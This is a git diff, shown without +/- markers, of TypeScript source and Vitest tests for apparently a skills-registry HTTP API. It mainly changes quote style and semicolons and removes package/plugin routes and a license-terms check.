warnSpy.mockRestore();
});
})
warnSpy.mockRestore()
})
it("cliSkillDeleteHandler returns 400 on invalid json", async () => {
const request = new Request("https://x/api/cli/skill/delete", { method: "POST", body: "{" });
const response = await __handlers.cliSkillDeleteHandler(makeCtx({}), request, true);
expect(response.status).toBe(400);
});
it('cliSkillDeleteHandler returns 400 on invalid json', async () => {
const request = new Request('https://x/api/cli/skill/delete', { method: 'POST', body: '{' })
const response = await __handlers.cliSkillDeleteHandler(makeCtx({}), request, true)
expect(response.status).toBe(400)
})
it("cliSkillDeleteHandler returns 400 on invalid payload", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const request = new Request("https://x/api/cli/skill/delete", {
method: "POST",
headers: { "Content-Type": "application/json" },
it('cliSkillDeleteHandler returns 400 on invalid payload', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
const request = new Request('https://x/api/cli/skill/delete', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({}),
});
const response = await __handlers.cliSkillDeleteHandler(makeCtx({}), request, true);
expect(response.status).toBe(400);
});
});
})
const response = await __handlers.cliSkillDeleteHandler(makeCtx({}), request, true)
expect(response.status).toBe(400)
})
})
+48 -48
View File
@@ -1,70 +1,70 @@
/* @vitest-environment node */
import { describe, expect, it } from "vitest";
import { __test } from "./httpApi";
import { describe, expect, it } from 'vitest'
import { __test } from './httpApi'
describe("httpApi", () => {
it("parses publish payload", () => {
describe('httpApi', () => {
it('parses publish payload', () => {
const parsed = __test.parsePublishBody({
slug: "cool-skill",
displayName: "Cool Skill",
version: "1.2.3",
changelog: "stuff",
tags: ["latest", "beta"],
slug: 'cool-skill',
displayName: 'Cool Skill',
version: '1.2.3',
changelog: 'stuff',
tags: ['latest', 'beta'],
files: [
{
path: "SKILL.md",
path: 'SKILL.md',
size: 5,
storageId: "fakeStorageId",
sha256: "abcd",
contentType: "text/markdown",
storageId: 'fakeStorageId',
sha256: 'abcd',
contentType: 'text/markdown',
},
],
});
expect(parsed.slug).toBe("cool-skill");
expect(parsed.tags).toEqual(["latest", "beta"]);
expect(parsed.files[0]?.path).toBe("SKILL.md");
});
})
expect(parsed.slug).toBe('cool-skill')
expect(parsed.tags).toEqual(['latest', 'beta'])
expect(parsed.files[0]?.path).toBe('SKILL.md')
})
it("normalizes optional fields in publish payload", () => {
it('normalizes optional fields in publish payload', () => {
const parsed = __test.parsePublishBody({
slug: "cool-skill",
displayName: "Cool Skill",
version: "1.2.3",
changelog: "",
slug: 'cool-skill',
displayName: 'Cool Skill',
version: '1.2.3',
changelog: '',
tags: [],
forkOf: { slug: "base-skill" },
forkOf: { slug: 'base-skill' },
files: [
{
path: "SKILL.md",
path: 'SKILL.md',
size: 5,
storageId: "fakeStorageId",
sha256: "abcd",
contentType: "text/markdown",
storageId: 'fakeStorageId',
sha256: 'abcd',
contentType: 'text/markdown',
},
],
});
expect(parsed.tags).toBeUndefined();
expect(parsed.source).toBeUndefined();
expect(parsed.forkOf).toEqual({ slug: "base-skill", version: undefined });
});
})
expect(parsed.tags).toBeUndefined()
expect(parsed.source).toBeUndefined()
expect(parsed.forkOf).toEqual({ slug: 'base-skill', version: undefined })
})
it("rejects invalid publish payloads", () => {
expect(() => __test.parsePublishBody(null)).toThrow(/Publish payload/i);
it('rejects invalid publish payloads', () => {
expect(() => __test.parsePublishBody(null)).toThrow(/Publish payload/i)
expect(() =>
__test.parsePublishBody({
slug: "x",
displayName: "X",
version: "1.0.0",
changelog: "c",
slug: 'x',
displayName: 'X',
version: '1.0.0',
changelog: 'c',
files: [],
}),
).toThrow(/files required/i);
});
).toThrow(/files required/i)
})
it("parses optional numbers", () => {
expect(__test.toOptionalNumber(null)).toBeUndefined();
expect(__test.toOptionalNumber("")).toBeUndefined();
expect(__test.toOptionalNumber("10")).toBe(10);
expect(__test.toOptionalNumber("nope")).toBeUndefined();
});
});
it('parses optional numbers', () => {
expect(__test.toOptionalNumber(null)).toBeUndefined()
expect(__test.toOptionalNumber('')).toBeUndefined()
expect(__test.toOptionalNumber('10')).toBe(10)
expect(__test.toOptionalNumber('nope')).toBeUndefined()
})
})
+114 -129
View File
@@ -5,62 +5,55 @@ import {
CliSkillDeleteRequestSchema,
CliTelemetrySyncRequestSchema,
parseArk,
} from "clawhub-schema";
import { api, internal } from "./_generated/api";
import type { Id } from "./_generated/dataModel";
import type { ActionCtx } from "./_generated/server";
import { httpAction } from "./functions";
import { requireApiTokenUser } from "./lib/apiTokenAuth";
import { corsHeaders, mergeHeaders } from "./lib/httpHeaders";
import { parseBooleanQueryParam, resolveBooleanQueryParam } from "./lib/httpUtils";
import { publishVersionForUser } from "./skills";
} from 'clawhub-schema'
import { api, internal } from './_generated/api'
import type { Id } from './_generated/dataModel'
import type { ActionCtx } from './_generated/server'
import { httpAction } from './_generated/server'
import { requireApiTokenUser } from './lib/apiTokenAuth'
import { corsHeaders, mergeHeaders } from './lib/httpHeaders'
import { publishVersionForUser } from './skills'
type SearchSkillEntry = {
score: number;
score: number
skill: {
slug?: string;
displayName?: string;
summary?: string | null;
updatedAt?: number;
} | null;
version: { version?: string } | null;
};
slug?: string
displayName?: string
summary?: string | null
updatedAt?: number
} | null
version: { version?: string } | null
}
type GetBySlugResult = {
skill: {
_id: Id<"skills">;
slug: string;
displayName: string;
summary?: string;
tags: Record<string, string>;
stats: unknown;
createdAt: number;
updatedAt: number;
} | null;
latestVersion: { version: string; createdAt: number; changelog: string } | null;
owner: { handle?: string; displayName?: string; image?: string } | null;
} | null;
_id: Id<'skills'>
slug: string
displayName: string
summary?: string
tags: Record<string, string>
stats: unknown
createdAt: number
updatedAt: number
} | null
latestVersion: { version: string; createdAt: number; changelog: string } | null
owner: { handle?: string; displayName?: string; image?: string } | null
} | null
async function searchSkillsHandler(ctx: ActionCtx, request: Request) {
const url = new URL(request.url);
const query = url.searchParams.get("q")?.trim() ?? "";
const limit = toOptionalNumber(url.searchParams.get("limit"));
const approvedOnly = parseBooleanQueryParam(url.searchParams.get("approvedOnly"));
const highlightedOnly =
parseBooleanQueryParam(url.searchParams.get("highlightedOnly")) || approvedOnly;
const nonSuspiciousOnly = resolveBooleanQueryParam(
url.searchParams.get("nonSuspiciousOnly"),
url.searchParams.get("nonSuspicious"),
);
const url = new URL(request.url)
const query = url.searchParams.get('q')?.trim() ?? ''
const limit = toOptionalNumber(url.searchParams.get('limit'))
const approvedOnly = url.searchParams.get('approvedOnly') === 'true'
const highlightedOnly = url.searchParams.get('highlightedOnly') === 'true' || approvedOnly
if (!query) return json({ results: [] });
if (!query) return json({ results: [] })
const results = (await ctx.runAction(api.search.searchSkills, {
query,
limit,
highlightedOnly: highlightedOnly || undefined,
nonSuspiciousOnly: nonSuspiciousOnly || undefined,
})) as SearchSkillEntry[];
})) as SearchSkillEntry[]
return json({
results: results.map((result) => ({
@@ -71,18 +64,18 @@ async function searchSkillsHandler(ctx: ActionCtx, request: Request) {
version: result.version?.version ?? null,
updatedAt: result.skill?.updatedAt,
})),
});
})
}
export const searchSkillsHttp = httpAction(searchSkillsHandler);
export const searchSkillsHttp = httpAction(searchSkillsHandler)
async function getSkillHandler(ctx: ActionCtx, request: Request) {
const url = new URL(request.url);
const slug = url.searchParams.get("slug")?.trim().toLowerCase();
if (!slug) return text("Missing slug", 400);
const url = new URL(request.url)
const slug = url.searchParams.get('slug')?.trim().toLowerCase()
if (!slug) return text('Missing slug', 400)
const result = (await ctx.runQuery(api.skills.getBySlug, { slug })) as GetBySlugResult;
if (!result?.skill) return text("Skill not found", 404);
const result = (await ctx.runQuery(api.skills.getBySlug, { slug })) as GetBySlugResult
if (!result?.skill) return text('Skill not found', 404)
return json({
skill: {
@@ -108,129 +101,122 @@ async function getSkillHandler(ctx: ActionCtx, request: Request) {
image: result.owner.image ?? null,
}
: null,
});
})
}
export const getSkillHttp = httpAction(getSkillHandler);
export const getSkillHttp = httpAction(getSkillHandler)
async function resolveSkillVersionHandler(ctx: ActionCtx, request: Request) {
const url = new URL(request.url);
const slug = url.searchParams.get("slug")?.trim().toLowerCase();
const hash = url.searchParams.get("hash")?.trim().toLowerCase();
if (!slug || !hash) return text("Missing slug or hash", 400);
if (!/^[a-f0-9]{64}$/.test(hash)) return text("Invalid hash", 400);
const url = new URL(request.url)
const slug = url.searchParams.get('slug')?.trim().toLowerCase()
const hash = url.searchParams.get('hash')?.trim().toLowerCase()
if (!slug || !hash) return text('Missing slug or hash', 400)
if (!/^[a-f0-9]{64}$/.test(hash)) return text('Invalid hash', 400)
const resolved = await ctx.runQuery(api.skills.resolveVersionByHash, { slug, hash });
if (!resolved) return text("Skill not found", 404);
const resolved = await ctx.runQuery(api.skills.resolveVersionByHash, { slug, hash })
if (!resolved) return text('Skill not found', 404)
return json({ slug, match: resolved.match, latestVersion: resolved.latestVersion });
return json({ slug, match: resolved.match, latestVersion: resolved.latestVersion })
}
export const resolveSkillVersionHttp = httpAction(resolveSkillVersionHandler);
export const resolveSkillVersionHttp = httpAction(resolveSkillVersionHandler)
async function cliWhoamiHandler(ctx: ActionCtx, request: Request) {
try {
const { user } = await requireApiTokenUser(ctx, request);
const { user } = await requireApiTokenUser(ctx, request)
return json({
user: {
handle: user.handle ?? null,
displayName: user.displayName ?? null,
image: user.image ?? null,
},
});
})
} catch {
return text("Unauthorized", 401);
return text('Unauthorized', 401)
}
}
export const cliWhoamiHttp = httpAction(cliWhoamiHandler);
export const cliWhoamiHttp = httpAction(cliWhoamiHandler)
async function cliUploadUrlHandler(ctx: ActionCtx, request: Request) {
try {
const { userId } = await requireApiTokenUser(ctx, request);
const { userId } = await requireApiTokenUser(ctx, request)
const uploadUrl = await ctx.runMutation(internal.uploads.generateUploadUrlForUserInternal, {
userId,
});
return json({ uploadUrl });
})
return json({ uploadUrl })
} catch {
return text("Unauthorized", 401);
return text('Unauthorized', 401)
}
}
export const cliUploadUrlHttp = httpAction(cliUploadUrlHandler);
export const cliUploadUrlHttp = httpAction(cliUploadUrlHandler)
async function cliPublishHandler(ctx: ActionCtx, request: Request) {
let body: unknown;
let body: unknown
try {
body = await request.json();
body = await request.json()
} catch {
return text("Invalid JSON", 400);
return text('Invalid JSON', 400)
}
try {
const { userId } = await requireApiTokenUser(ctx, request);
const args = parsePublishBody(body);
if (!hasAcceptedLegacyLicenseTerms(args.acceptLicenseTerms)) {
return text("MIT-0 license terms must be accepted to publish skills", 400);
}
const result = await publishVersionForUser(ctx, userId, args);
return json({ ok: true, ...result });
const { userId } = await requireApiTokenUser(ctx, request)
const args = parsePublishBody(body)
const result = await publishVersionForUser(ctx, userId, args)
return json({ ok: true, ...result })
} catch (error) {
const message = error instanceof Error ? error.message : "Publish failed";
if (message.toLowerCase().includes("unauthorized")) return text("Unauthorized", 401);
return text(message, 400);
const message = error instanceof Error ? error.message : 'Publish failed'
if (message.toLowerCase().includes('unauthorized')) return text('Unauthorized', 401)
return text(message, 400)
}
}
function hasAcceptedLegacyLicenseTerms(acceptLicenseTerms: boolean | undefined) {
return acceptLicenseTerms !== false;
}
export const cliPublishHttp = httpAction(cliPublishHandler);
export const cliPublishHttp = httpAction(cliPublishHandler)
async function cliSkillDeleteHandler(ctx: ActionCtx, request: Request, deleted: boolean) {
let body: unknown;
let body: unknown
try {
body = await request.json();
body = await request.json()
} catch {
return text("Invalid JSON", 400);
return text('Invalid JSON', 400)
}
try {
const { userId } = await requireApiTokenUser(ctx, request);
const args = parseArk(CliSkillDeleteRequestSchema, body, "Delete payload");
const { userId } = await requireApiTokenUser(ctx, request)
const args = parseArk(CliSkillDeleteRequestSchema, body, 'Delete payload')
await ctx.runMutation(internal.skills.setSkillSoftDeletedInternal, {
userId,
slug: args.slug,
deleted,
});
const ok = parseArk(ApiCliSkillDeleteResponseSchema, { ok: true }, "Delete response");
return json(ok);
})
const ok = parseArk(ApiCliSkillDeleteResponseSchema, { ok: true }, 'Delete response')
return json(ok)
} catch (error) {
const message = error instanceof Error ? error.message : "Delete failed";
if (message.toLowerCase().includes("unauthorized")) return text("Unauthorized", 401);
return text(message, 400);
const message = error instanceof Error ? error.message : 'Delete failed'
if (message.toLowerCase().includes('unauthorized')) return text('Unauthorized', 401)
return text(message, 400)
}
}
export const cliSkillDeleteHttp = httpAction((ctx, request) =>
cliSkillDeleteHandler(ctx, request, true),
);
)
export const cliSkillUndeleteHttp = httpAction((ctx, request) =>
cliSkillDeleteHandler(ctx, request, false),
);
)
async function cliTelemetrySyncHandler(ctx: ActionCtx, request: Request) {
let body: unknown;
let body: unknown
try {
body = await request.json();
body = await request.json()
} catch {
return text("Invalid JSON", 400);
return text('Invalid JSON', 400)
}
try {
const { userId } = await requireApiTokenUser(ctx, request);
const args = parseArk(CliTelemetrySyncRequestSchema, body, "Telemetry payload");
const { userId } = await requireApiTokenUser(ctx, request)
const args = parseArk(CliTelemetrySyncRequestSchema, body, 'Telemetry payload')
await ctx.runMutation(internal.telemetry.reportCliSyncInternal, {
userId,
roots: args.roots.map((root) => ({
@@ -241,29 +227,29 @@ async function cliTelemetrySyncHandler(ctx: ActionCtx, request: Request) {
version: skill.version ?? undefined,
})),
})),
});
const ok = parseArk(ApiCliTelemetrySyncResponseSchema, { ok: true }, "Telemetry response");
return json(ok);
})
const ok = parseArk(ApiCliTelemetrySyncResponseSchema, { ok: true }, 'Telemetry response')
return json(ok)
} catch (error) {
const message = error instanceof Error ? error.message : "Telemetry failed";
if (message.toLowerCase().includes("unauthorized")) return text("Unauthorized", 401);
return text(message, 400);
const message = error instanceof Error ? error.message : 'Telemetry failed'
if (message.toLowerCase().includes('unauthorized')) return text('Unauthorized', 401)
return text(message, 400)
}
}
export const cliTelemetrySyncHttp = httpAction(cliTelemetrySyncHandler);
export const cliTelemetrySyncHttp = httpAction(cliTelemetrySyncHandler)
function json(value: unknown, status = 200) {
return new Response(JSON.stringify(value), {
status,
headers: mergeHeaders(
{
"Content-Type": "application/json",
"Cache-Control": "no-store",
'Content-Type': 'application/json',
'Cache-Control': 'no-store',
},
corsHeaders(),
),
});
})
}
function text(value: string, status: number) {
@@ -271,30 +257,29 @@ function text(value: string, status: number) {
status,
headers: mergeHeaders(
{
"Content-Type": "text/plain; charset=utf-8",
"Cache-Control": "no-store",
'Content-Type': 'text/plain; charset=utf-8',
'Cache-Control': 'no-store',
},
corsHeaders(),
),
});
})
}
function toOptionalNumber(value: string | null) {
if (!value) return undefined;
const parsed = Number.parseInt(value, 10);
return Number.isFinite(parsed) ? parsed : undefined;
if (!value) return undefined
const parsed = Number.parseInt(value, 10)
return Number.isFinite(parsed) ? parsed : undefined
}
function parsePublishBody(body: unknown) {
const parsed = parseArk(CliPublishRequestSchema, body, "Publish payload");
if (parsed.files.length === 0) throw new Error("files required");
const tags = parsed.tags && parsed.tags.length > 0 ? parsed.tags : undefined;
const parsed = parseArk(CliPublishRequestSchema, body, 'Publish payload')
if (parsed.files.length === 0) throw new Error('files required')
const tags = parsed.tags && parsed.tags.length > 0 ? parsed.tags : undefined
return {
slug: parsed.slug,
displayName: parsed.displayName,
version: parsed.version,
changelog: parsed.changelog,
acceptLicenseTerms: parsed.acceptLicenseTerms,
tags,
source: parsed.source ?? undefined,
forkOf: parsed.forkOf
@@ -305,15 +290,15 @@ function parsePublishBody(body: unknown) {
: undefined,
files: parsed.files.map((file) => ({
...file,
storageId: file.storageId as Id<"_storage">,
storageId: file.storageId as Id<'_storage'>,
})),
};
}
}
export const __test = {
parsePublishBody,
toOptionalNumber,
};
}
export const __handlers = {
searchSkillsHandler,
@@ -324,4 +309,4 @@ export const __handlers = {
cliPublishHandler,
cliSkillDeleteHandler,
cliTelemetrySyncHandler,
};
}
File diff suppressed because it is too large Load Diff
+25 -60
View File
@@ -1,16 +1,5 @@
import { httpAction } from "./functions";
import {
listBundlePluginsV1Handler,
listCodePluginsV1Handler,
listPackagesV1Handler,
listPluginsV1Handler,
mintPublishTokenV1Handler,
packagesDeleteRouterV1Handler,
packagesGetRouterV1Handler,
packagesPostRouterV1Handler,
pluginsGetRouterV1Handler,
publishPackageV1Handler,
} from "./httpApiV1/packagesV1";
import { httpAction } from './_generated/server'
import {
listSkillsV1Handler,
publishSkillV1Handler,
@@ -19,63 +8,40 @@ import {
skillsDeleteRouterV1Handler,
skillsGetRouterV1Handler,
skillsPostRouterV1Handler,
} from "./httpApiV1/skillsV1";
} from './httpApiV1/skillsV1'
import {
listSoulsV1Handler,
publishSoulV1Handler,
soulsDeleteRouterV1Handler,
soulsGetRouterV1Handler,
soulsPostRouterV1Handler,
} from "./httpApiV1/soulsV1";
import { starsDeleteRouterV1Handler, starsPostRouterV1Handler } from "./httpApiV1/starsV1";
import { transfersGetRouterV1Handler } from "./httpApiV1/transfersV1";
import { usersListV1Handler, usersPostRouterV1Handler } from "./httpApiV1/usersV1";
import { whoamiV1Handler } from "./httpApiV1/whoamiV1";
} from './httpApiV1/soulsV1'
import { starsDeleteRouterV1Handler, starsPostRouterV1Handler } from './httpApiV1/starsV1'
import { usersListV1Handler, usersPostRouterV1Handler } from './httpApiV1/usersV1'
import { whoamiV1Handler } from './httpApiV1/whoamiV1'
export const listPackagesV1Http = httpAction(listPackagesV1Handler);
export const listPluginsV1Http = httpAction(listPluginsV1Handler);
export const packagesGetRouterV1Http = httpAction(packagesGetRouterV1Handler);
export const packagesPostRouterV1Http = httpAction(packagesPostRouterV1Handler);
export const packagesDeleteRouterV1Http = httpAction(packagesDeleteRouterV1Handler);
export const pluginsGetRouterV1Http = httpAction(pluginsGetRouterV1Handler);
export const publishPackageV1Http = httpAction(publishPackageV1Handler);
export const mintPublishTokenV1Http = httpAction(mintPublishTokenV1Handler);
export const listCodePluginsV1Http = httpAction(listCodePluginsV1Handler);
export const listBundlePluginsV1Http = httpAction(listBundlePluginsV1Handler);
export const searchSkillsV1Http = httpAction(searchSkillsV1Handler)
export const resolveSkillVersionV1Http = httpAction(resolveSkillVersionV1Handler)
export const listSkillsV1Http = httpAction(listSkillsV1Handler)
export const skillsGetRouterV1Http = httpAction(skillsGetRouterV1Handler)
export const publishSkillV1Http = httpAction(publishSkillV1Handler)
export const skillsPostRouterV1Http = httpAction(skillsPostRouterV1Handler)
export const skillsDeleteRouterV1Http = httpAction(skillsDeleteRouterV1Handler)
export const searchSkillsV1Http = httpAction(searchSkillsV1Handler);
export const resolveSkillVersionV1Http = httpAction(resolveSkillVersionV1Handler);
export const listSkillsV1Http = httpAction(listSkillsV1Handler);
export const skillsGetRouterV1Http = httpAction(skillsGetRouterV1Handler);
export const publishSkillV1Http = httpAction(publishSkillV1Handler);
export const skillsPostRouterV1Http = httpAction(skillsPostRouterV1Handler);
export const skillsDeleteRouterV1Http = httpAction(skillsDeleteRouterV1Handler);
export const listSoulsV1Http = httpAction(listSoulsV1Handler)
export const soulsGetRouterV1Http = httpAction(soulsGetRouterV1Handler)
export const publishSoulV1Http = httpAction(publishSoulV1Handler)
export const soulsPostRouterV1Http = httpAction(soulsPostRouterV1Handler)
export const soulsDeleteRouterV1Http = httpAction(soulsDeleteRouterV1Handler)
export const listSoulsV1Http = httpAction(listSoulsV1Handler);
export const soulsGetRouterV1Http = httpAction(soulsGetRouterV1Handler);
export const publishSoulV1Http = httpAction(publishSoulV1Handler);
export const soulsPostRouterV1Http = httpAction(soulsPostRouterV1Handler);
export const soulsDeleteRouterV1Http = httpAction(soulsDeleteRouterV1Handler);
export const starsPostRouterV1Http = httpAction(starsPostRouterV1Handler)
export const starsDeleteRouterV1Http = httpAction(starsDeleteRouterV1Handler)
export const starsPostRouterV1Http = httpAction(starsPostRouterV1Handler);
export const starsDeleteRouterV1Http = httpAction(starsDeleteRouterV1Handler);
export const transfersGetRouterV1Http = httpAction(transfersGetRouterV1Handler);
export const whoamiV1Http = httpAction(whoamiV1Handler);
export const usersPostRouterV1Http = httpAction(usersPostRouterV1Handler);
export const usersListV1Http = httpAction(usersListV1Handler);
export const whoamiV1Http = httpAction(whoamiV1Handler)
export const usersPostRouterV1Http = httpAction(usersPostRouterV1Handler)
export const usersListV1Http = httpAction(usersListV1Handler)
export const __handlers = {
listPackagesV1Handler,
listPluginsV1Handler,
packagesGetRouterV1Handler,
packagesPostRouterV1Handler,
packagesDeleteRouterV1Handler,
pluginsGetRouterV1Handler,
publishPackageV1Handler,
mintPublishTokenV1Handler,
listCodePluginsV1Handler,
listBundlePluginsV1Handler,
searchSkillsV1Handler,
resolveSkillVersionV1Handler,
listSkillsV1Handler,
@@ -90,8 +56,7 @@ export const __handlers = {
soulsDeleteRouterV1Handler,
starsPostRouterV1Handler,
starsDeleteRouterV1Handler,
transfersGetRouterV1Handler,
whoamiV1Handler,
usersPostRouterV1Handler,
usersListV1Handler,
};
}
File diff suppressed because it is too large Load Diff
+142 -164
View File
@@ -1,31 +1,29 @@
import { CliPublishRequestSchema, parseArk } from "clawhub-schema";
import { internal } from "../_generated/api";
import type { Doc, Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { assertAdmin } from "../lib/access";
import { requireApiTokenUser, requirePackagePublishAuth } from "../lib/apiTokenAuth";
import { corsHeaders, mergeHeaders } from "../lib/httpHeaders";
import { getPublishFileSizeError, MAX_PUBLISH_FILE_BYTES } from "../lib/publishLimits";
import { isMacJunkPath } from "../lib/skills";
import { CliPublishRequestSchema, parseArk } from 'clawhub-schema'
import { internal } from '../_generated/api'
import type { Doc, Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
import { assertAdmin } from '../lib/access'
import { requireApiTokenUser } from '../lib/apiTokenAuth'
import { corsHeaders, mergeHeaders } from '../lib/httpHeaders'
export const MAX_RAW_FILE_BYTES = 200 * 1024;
export const MAX_RAW_FILE_BYTES = 200 * 1024
const SAFE_TEXT_FILE_CSP =
"default-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'";
"default-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'"
function isSvgLike(contentType: string | undefined, path: string) {
return contentType?.toLowerCase().includes("svg") || path.toLowerCase().endsWith(".svg");
return contentType?.toLowerCase().includes('svg') || path.toLowerCase().endsWith('.svg')
}
export function safeTextFileResponse(params: {
textContent: string;
path: string;
contentType?: string;
sha256: string;
size: number;
headers?: HeadersInit;
textContent: string
path: string
contentType?: string
sha256: string
size: number
headers?: HeadersInit
}) {
const isSvg = isSvgLike(params.contentType, params.path);
const isSvg = isSvgLike(params.contentType, params.path)
// For any text response that a browser might try to render, lock it down.
// In particular, this prevents SVG <foreignObject> script execution from reading
@@ -33,22 +31,22 @@ export function safeTextFileResponse(params: {
const headers = mergeHeaders(
params.headers,
{
"Content-Type": params.contentType
'Content-Type': params.contentType
? `${params.contentType}; charset=utf-8`
: "text/plain; charset=utf-8",
"Cache-Control": "private, max-age=60",
: 'text/plain; charset=utf-8',
'Cache-Control': 'private, max-age=60',
ETag: params.sha256,
"X-Content-SHA256": params.sha256,
"X-Content-Size": String(params.size),
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"Content-Security-Policy": SAFE_TEXT_FILE_CSP,
...(isSvg ? { "Content-Disposition": "attachment" } : {}),
'X-Content-SHA256': params.sha256,
'X-Content-Size': String(params.size),
'X-Content-Type-Options': 'nosniff',
'X-Frame-Options': 'DENY',
'Content-Security-Policy': SAFE_TEXT_FILE_CSP,
...(isSvg ? { 'Content-Disposition': 'attachment' } : {}),
},
corsHeaders(),
);
)
return new Response(params.textContent, { status: 200, headers });
return new Response(params.textContent, { status: 200, headers })
}
export function json(value: unknown, status = 200, headers?: HeadersInit) {
@@ -56,13 +54,13 @@ export function json(value: unknown, status = 200, headers?: HeadersInit) {
status,
headers: mergeHeaders(
{
"Content-Type": "application/json",
"Cache-Control": "no-store",
'Content-Type': 'application/json',
'Cache-Control': 'no-store',
},
headers,
corsHeaders(),
),
});
})
}
export function text(value: string, status: number, headers?: HeadersInit) {
@@ -70,21 +68,21 @@ export function text(value: string, status: number, headers?: HeadersInit) {
status,
headers: mergeHeaders(
{
"Content-Type": "text/plain; charset=utf-8",
"Cache-Control": "no-store",
'Content-Type': 'text/plain; charset=utf-8',
'Cache-Control': 'no-store',
},
headers,
corsHeaders(),
),
});
})
}
export async function parseJsonPayload(request: Request, headers: HeadersInit) {
try {
const payload = (await request.json()) as Record<string, unknown>;
return { ok: true as const, payload };
const payload = (await request.json()) as Record<string, unknown>
return { ok: true as const, payload }
} catch {
return { ok: false as const, response: text("Invalid JSON", 400, headers) };
return { ok: false as const, response: text('Invalid JSON', 400, headers) }
}
}
@@ -94,49 +92,37 @@ export async function requireApiTokenUserOrResponse(
headers: HeadersInit,
) {
try {
const auth = await requireApiTokenUser(ctx, request);
return { ok: true as const, userId: auth.userId, user: auth.user as Doc<"users"> };
const auth = await requireApiTokenUser(ctx, request)
return { ok: true as const, userId: auth.userId, user: auth.user as Doc<'users'> }
} catch {
return { ok: false as const, response: text("Unauthorized", 401, headers) };
return { ok: false as const, response: text('Unauthorized', 401, headers) }
}
}
export async function requirePackagePublishAuthOrResponse(
ctx: ActionCtx,
request: Request,
headers: HeadersInit,
) {
export function requireAdminOrResponse(user: Doc<'users'>, headers: HeadersInit) {
try {
return { ok: true as const, auth: await requirePackagePublishAuth(ctx, request) };
assertAdmin(user)
return { ok: true as const }
} catch {
return { ok: false as const, response: text("Unauthorized", 401, headers) };
}
}
export function requireAdminOrResponse(user: Doc<"users">, headers: HeadersInit) {
try {
assertAdmin(user);
return { ok: true as const };
} catch {
return { ok: false as const, response: text("Forbidden", 403, headers) };
return { ok: false as const, response: text('Forbidden', 403, headers) }
}
}
export function getPathSegments(request: Request, prefix: string) {
const pathname = new URL(request.url).pathname;
if (!pathname.startsWith(prefix)) return [];
const rest = pathname.slice(prefix.length);
const pathname = new URL(request.url).pathname
if (!pathname.startsWith(prefix)) return []
const rest = pathname.slice(prefix.length)
return rest
.split("/")
.split('/')
.map((segment) => segment.trim())
.filter(Boolean)
.map((segment) => decodeURIComponent(segment));
.map((segment) => decodeURIComponent(segment))
}
export function toOptionalNumber(value: string | null) {
if (!value) return undefined;
const parsed = Number.parseInt(value, 10);
return Number.isFinite(parsed) ? parsed : undefined;
if (!value) return undefined
const parsed = Number.parseInt(value, 10)
return Number.isFinite(parsed) ? parsed : undefined
}
/**
@@ -146,16 +132,16 @@ export function toOptionalNumber(value: string | null) {
*/
export async function resolveSoulTagsBatch(
ctx: ActionCtx,
tagsList: Array<Record<string, Id<"soulVersions">>>,
tagsList: Array<Record<string, Id<'soulVersions'>>>,
): Promise<Array<Record<string, string>>> {
return resolveVersionTagsBatch(ctx, tagsList, internal.souls.getVersionsByIdsInternal);
return resolveVersionTagsBatch(ctx, tagsList, internal.souls.getVersionsByIdsInternal)
}
export async function resolveTagsBatch(
ctx: ActionCtx,
tagsList: Array<Record<string, Id<"skillVersions">>>,
tagsList: Array<Record<string, Id<'skillVersions'>>>,
): Promise<Array<Record<string, string>>> {
return resolveVersionTagsBatch(ctx, tagsList, internal.skills.getVersionsByIdsInternal);
return resolveVersionTagsBatch(ctx, tagsList, internal.skills.getVersionsByIdsInternal)
}
/**
@@ -166,153 +152,145 @@ export async function resolveTagsBatch(
* - Uses `internal.*` queries to avoid expanding the public Convex API surface.
* - Sorts ids for stable query args (helps caching/log diffs).
*/
export async function resolveVersionTagsBatch<TTable extends "skillVersions" | "soulVersions">(
export async function resolveVersionTagsBatch<TTable extends 'skillVersions' | 'soulVersions'>(
ctx: ActionCtx,
tagsList: Array<Record<string, Id<TTable>>>,
getVersionsByIdsQuery: unknown,
): Promise<Array<Record<string, string>>> {
const allVersionIds = new Set<Id<TTable>>();
const allVersionIds = new Set<Id<TTable>>()
for (const tags of tagsList) {
for (const versionId of Object.values(tags)) allVersionIds.add(versionId);
for (const versionId of Object.values(tags)) allVersionIds.add(versionId)
}
if (allVersionIds.size === 0) return tagsList.map(() => ({}));
if (allVersionIds.size === 0) return tagsList.map(() => ({}))
const versionIds = [...allVersionIds].sort() as Array<Id<TTable>>;
const versionIds = [...allVersionIds].sort() as Array<Id<TTable>>
const versions =
((await ctx.runQuery(getVersionsByIdsQuery as never, { versionIds } as never)) as Array<{
_id: Id<TTable>;
version: string;
softDeletedAt?: unknown;
}> | null) ?? [];
_id: Id<TTable>
version: string
softDeletedAt?: unknown
}> | null) ?? []
const versionMap = new Map<Id<TTable>, string>();
const versionMap = new Map<Id<TTable>, string>()
for (const v of versions) {
if (!v?.softDeletedAt) versionMap.set(v._id, v.version);
if (!v?.softDeletedAt) versionMap.set(v._id, v.version)
}
return tagsList.map((tags) => {
const resolved: Record<string, string> = {};
const resolved: Record<string, string> = {}
for (const [tag, versionId] of Object.entries(tags)) {
const version = versionMap.get(versionId);
if (version) resolved[tag] = version;
const version = versionMap.get(versionId)
if (version) resolved[tag] = version
}
return resolved;
});
return resolved
})
}
async function sha256Hex(bytes: Uint8Array) {
const data = new Uint8Array(bytes);
const digest = await crypto.subtle.digest("SHA-256", data);
return toHex(new Uint8Array(digest));
const data = new Uint8Array(bytes)
const digest = await crypto.subtle.digest('SHA-256', data)
return toHex(new Uint8Array(digest))
}
function toHex(bytes: Uint8Array) {
let out = "";
for (const byte of bytes) out += byte.toString(16).padStart(2, "0");
return out;
let out = ''
for (const byte of bytes) out += byte.toString(16).padStart(2, '0')
return out
}
type FileLike = {
name: string;
size: number;
type: string;
arrayBuffer: () => Promise<ArrayBuffer>;
};
name: string
size: number
type: string
arrayBuffer: () => Promise<ArrayBuffer>
}
type FileLikeEntry = FormDataEntryValue & FileLike;
type FileLikeEntry = FormDataEntryValue & FileLike
function toFileLike(entry: FormDataEntryValue): FileLikeEntry | null {
if (typeof entry === "string") return null;
const candidate = entry as Partial<FileLike>;
